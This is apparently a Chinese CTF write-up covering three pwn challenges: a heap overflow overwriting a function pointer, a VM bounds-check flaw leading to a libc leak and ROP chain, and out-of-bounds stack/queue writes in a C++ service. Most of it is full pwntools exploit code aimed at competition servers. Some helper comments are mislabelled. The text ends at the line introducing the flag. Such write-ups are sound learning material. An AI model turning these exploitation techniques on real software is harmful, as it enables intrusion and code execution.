期末作业太多了,没什么时间详细写wp。不过三战国赛终于有望进入半决赛了,自己也出了个唯二解的二血,还是值得纪念一下的。 吐槽一下,怎么各个方向的题目数量都和赛前发的表对不上,本来以为pwn压力不大,主动承担了做一大半理论题的任务,结果下午看到上了三个pwn感觉天都塌了。

anote

发现创建0x1c大小的堆块后,可以输入超过这个长度。并且每个堆块的开头有一个函数指针,在edit结束后会调用该函数指针。 因此可以创建两个堆块,将后门函数的地址system("/bin/sh")写在第一个堆块中,然后通过前一个的edit溢出写后一个的函数指针,直接改写成第一个堆块存储后门函数的地址。然后调用后一个堆块的edit,就可以执行后门函数,堆块布局如下。 堆地址由show时的gift直接给出,只需要稍加计算。 exp:

```Python
#!/usr/bin/env python3

from pwn import *
import os

exe = ELF("./note_patched")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("123.56.29.99", 26768)

    return r


def dbg(cmd=""):
    if args.LOCAL:
        gdb.attach(r, cmd)
        pause()


def choice(i):
    r.sendlineafter(">>", str(i))


def show(idx):
    choice(2)
    r.sendlineafter("index: ", str(idx))


def edit(idx, len, content):
    choice(3)
    r.sendlineafter("index: ", str(idx))
    r.sendlineafter("len: ", str(len))
    r.sendafter("content:", content)


context.log_level = "DEBUG"


def main():
    global r
    r = conn()
    choice(1)
    show(0)
    r.recvuntil("gift: ")
    addr = int(r.recvline()[:-1], 16)
    choice(1)
    edit(
        0,
        28,
        p32(0x80489CE)
        + b"a" * (0x1C - 8 - 8)
        + p32(0)
        + p32(0x21)
        + p32(addr + 8)
        + b"\n",
    )
    edit(1, 1, b"0\n")

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
 
    main()

avm

主要漏洞在于store和load指令检查时只检查reg+BYTE2(v3),计算时计算的是reg+HIWORD(v3)&0xFFF,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。

地址的计算通过加减和左移右移即可。

由于没有自增,而且本地和远程偏移不同,寄存器初始值都是0, 获取数字1比较困难。最后通过在opcode中自己加入一个1的方式获取,这样的偏移肯定是固定的。

而libc地址的偏移也很奇怪,我试了多个本地能通过的偏移,远程都不行。最后获取栈上最远处的__libc_start_main中的返回地址,终于打通了远程。

#!/usr/bin/env python3

from pwn import *
import os

exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("47.94.1.14", 28709)

    return r


def dbg(cmd=""):
    if args.LOCAL:
        gdb.attach(r, cmd)
        pause()


def add(r1, r2, r3):
    # r1 = r2+r3
    return p32((1 << 28) | (r3 << 16) | (r2 << 5) | r1)


def sub(r1, r2, r3):
    # r1 = r2-r3
    return p32((2 << 28) | (r3 << 16) | (r2 << 5) | r1)


def mul(r1, r2, r3):
    # r1 = r2/r3
    return p32((3 << 28) | (r3 << 16) | (r2 << 5) | r1)


def div(r1, r2, r3):
    # r1 = r2*r3
    return p32((4 << 28) | (r3 << 16) | (r2 << 5) | r1)


def xor(r1, r2, r3):
    # r1 = r2^r3
    return p32((5 << 28) | (r3 << 16) | (r2 << 5) | r1)


def bitand(r1, r2, r3):
    # r1 = r2&r3
    return p32((6 << 28) | (r3 << 16) | (r2 << 5) | r1)


def bitand(r1, r2, r3):
    # r1 = r2/r3
    return p32((6 << 28) | (r3 << 16) | (r2 << 5) | r1)


def shr(r1, r2, r3):
    # r1 = r2>>r3
    return p32((8 << 28) | (r3 << 16) | (r2 << 5) | r1)


def shl(r1, r2, r3):
    # r1 = r2<<r3
    return p32((7 << 28) | (r3 << 16) | (r2 << 5) | r1)


def store(r1, r2, offset):
    # s[reg[r2]+offset]=reg[r1]
    assert offset <= 0xFFF
    return p32((9 << 28) | (offset << 16) | (r2 << 5) | r1)


def load(r1, r2, offset):
    # reg[r1] = s[reg[r2]+offset]
    assert offset <= 0xFFF
    return p32((10 << 28) | (offset << 16) | (r2 << 5) | r1)


def gen_num(r1, r2, num):
    opcode = b""
    tmp = []
    if num < 0:
        num = -num
    tmp1 = num
    while num:
        if num & 1:
            tmp.append(1)
        else:
            tmp.append(0)
        num = num >> 1
    test = 0
    tmp = tmp[::-1]
    for i in tmp[:-1]:
        if i == 1:
            test += 1
            opcode += add(r2, r2, r1)
        test = test * 2
        opcode += shl(r2, r2, r1)

    if tmp[-1] == 1:
        test += 1
        opcode += add(r2, r2, r1)
    # assert test == num
    print(f"test: {hex(test)} num: {hex(tmp1)}")
    return opcode


def invalid():
    return p32((0xB << 28))


def main():
    global r
    r = conn()
    dbg("b *$rebase(0x1aad)\n")
    pop_rdi = 0x000000000002A3E5
    addr = 0x22EC7C
    addr = 0x29D90
    offset_rdi = addr - pop_rdi
    str_bin_sh = next(libc.search(b"/bin/sh"))
    offset_bin_sh = addr - str_bin_sh
    offset_system = addr - libc.sym["system"]
    offset_puts = addr - libc.sym["puts"]
    opcode = (
        load(1, 0, 0x100)
        + load(2, 0, 0xD38)
        + load(3, 0, 0x278)
        + gen_num(3, 4, offset_rdi)
        + add(5, 2, 4)
        + store(5, 0, 0x118)
        + gen_num(3, 6, offset_bin_sh)
        + add(7, 2, 6)
        + store(7, 0, 0x118 + 8)
        + gen_num(3, 8, offset_system)
        + add(9, 2, 8)
        + store(9, 0, 0x118 + 3 * 8)
        + add(31, 5, 3)
        + store(31, 0, 0x118 + 2 * 8)
        + p32(0)
        + p64(1)
    )
    print(hex(len(opcode)))
    # reg3 = 1

    # gets = addr -  0x1b0b20
    r.sendafter("opcode: ", opcode)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()

anyip

完全不会C++,逆向上遇到了很大的困难,结合正向写C++代码再逆向查看,对比题目中的逆向结果,最后十分钟终于连蒙带猜调通了。

def pack(func, para1, content):
    buf = b""
    buf += p16(func)
    buf += b"\x00" + p8(para1) + b"\x00" * (4) + b"\x00\x00\x00\x00\x01\x07\x00\x00"
    buf += content
    return buf

前16位代表要调用的函数,取值为0x1111,0x2222,0x3333,0x4444,代表四个函数。

它后面的8位是函数的一个参数,是一个选项,。再后面的8位固定为b"\x??\x??\x??\x??\x01\x07\x??\x??"。如果其中的\x01和\x07不对会直接报错。 再后面的content为可变长度的字节流,也会作为部分函数的参数。

然后是func的逆向:

0x2222是一个栈: 注意到在pop时,对top并没有检查,也就是说在栈空之后可以继续pop实现溢出。而stack的前面有queue及其队头队尾,将栈pop到q_end的位置后再push入数字就可以覆盖q_end。 0x4444是一个队列:

q_end = (q_end+1) %10是入队之后才会进行的,也就是说q_end被覆盖后的第一次入队,偏移完全由刚刚越界push的数字决定。但由于只有一次,不能完整覆盖s。但是发现栈对top的唯一检查就是top- base != 0xa, 所以只要把base覆盖掉,栈就可以任意偏移写了。

下面有一个字符数组s,其中存的是log文件的名字,func 0x1111中有将log读出并发送的功能,所以如果通过栈的任意偏移写将log的名字覆盖成flag,再用func 0x1111中的功能就可以得到flag了。 但是想要使用这个功能,还要让v13=“SomeIpfun”.

逆向+尝试后发现v13是一个c++ string,其内容是逐字符拼接而来,而字符的来源与qword_9040中存的堆块有关。 逆向,发现使用func 0x3333中的功能可以修改qword_9040,并且发现它是类似树的结构(完全没看懂,只是看到一个堆块里存了一个字母和两个指针),使用func 0x3333的功能3可以设置新堆块,功能1可以增加字符,大致以树链表的形式,但是没有看懂具体逻辑。总之添加了一堆字符之后发现拼接出了乱序字符串。

于是想到一个办法,先按SomeIpfun的顺序输出,发现拼接出的字符串是uenoISpmf 一一对应:

S o m e I p f u n

u e n o I S p m f

以u来说,第八个输入的u会在第一个输出,而目标是让S第一个输出,所以只要把输入时的u改成S即可。以此类推,修改顺序为:

peuoIfnSm,得到的字符串就是SomeIpfun了。

有一个小插曲:c++的字符串不用\x00结尾,如果加了反而会让长度增加导致compare结果不相等。 总结以上利用,写出exp:

  1. 用栈的负向溢出覆盖q_end

  2. 用queue越界覆盖stack的base,让栈绕过边界检查

  3. 用stack越界覆盖s,将文件名改成flag

  4. 通过func0x3333和0x1111中的功能,构造字符串"SomeIpfun", 得到flag(在发回的报文中)

#!/usr/bin/env python3

from pwn import *
import os
import socket

exe = ELF("./pwn_patched")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("39.106.139.233", 34835)

    return r


def dbg(cmd=""):
    if args.LOCAL:
        gdb.attach(r, cmd)
        pause()


def pack(func, para1, content):
    buf = b""
    buf += p16(func)
    buf += b"\x00" + p8(para1) + b"\x00" * (4) + b"\x00\x00\x00\x00\x01\x07\x00\x00"
    buf += content
    return buf

def push(num):
    p1 = pack(0x2222, 1, str(num).encode())
    return p1
    
def pop():
    p1 = pack(0x2222, 2, b"")
    return p1


def enqueue(num):
    p1 = pack(0x4444, 1, str(num).encode())
    return p1


def main():
    global r
    # r = conn()
    # pause()
    s1 = socket.socket()
    # s1.connect(("127.0.0.1", 9999))
    s1.connect(("39.106.139.233", 34835))
    for i in range(0x20 // 4 - 3):
        s1.send(pop())
        print(s1.recv(0x10))

    s1.send(push((0xCC - 0x60) // 4))
    print(s1.recv(0x10))
    s1.send(enqueue(0x40))
    print(s1.recv(0x10))

    for i in range((0xC8 - 0x90) // 4):
        s1.send(push(0))
        print(s1.recv(0x10))

    s1.send(push((0xE0 - 0xA0) // 4))
    print(s1.recv(0x10))

    s1.send(push(0x67616C66))
    print(s1.recv(0x10))
    s1.send(push(0))
    print(s1.recv(0x10))

    p1 = pack(0x3333, 3, b"p")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"e")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"u")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"o")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"I")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"f")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"n")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"S")
    s1.send(p1)
    print(s1.recv(0x10))
    p1 = pack(0x3333, 1, b"m")
    s1.send(p1)
    print(s1.recv(0x10))
    p2 = pack(0x1111, 2, b"a" * (0x4B - 9) + b"SomeIpfun" + b"b" * 0x100)
    s1.send(p2)
    print(s1.recv(0x200))
    # good luck pwning :)

    # r.interactive()


if __name__ == "__main__":
    main()
    

得到flag: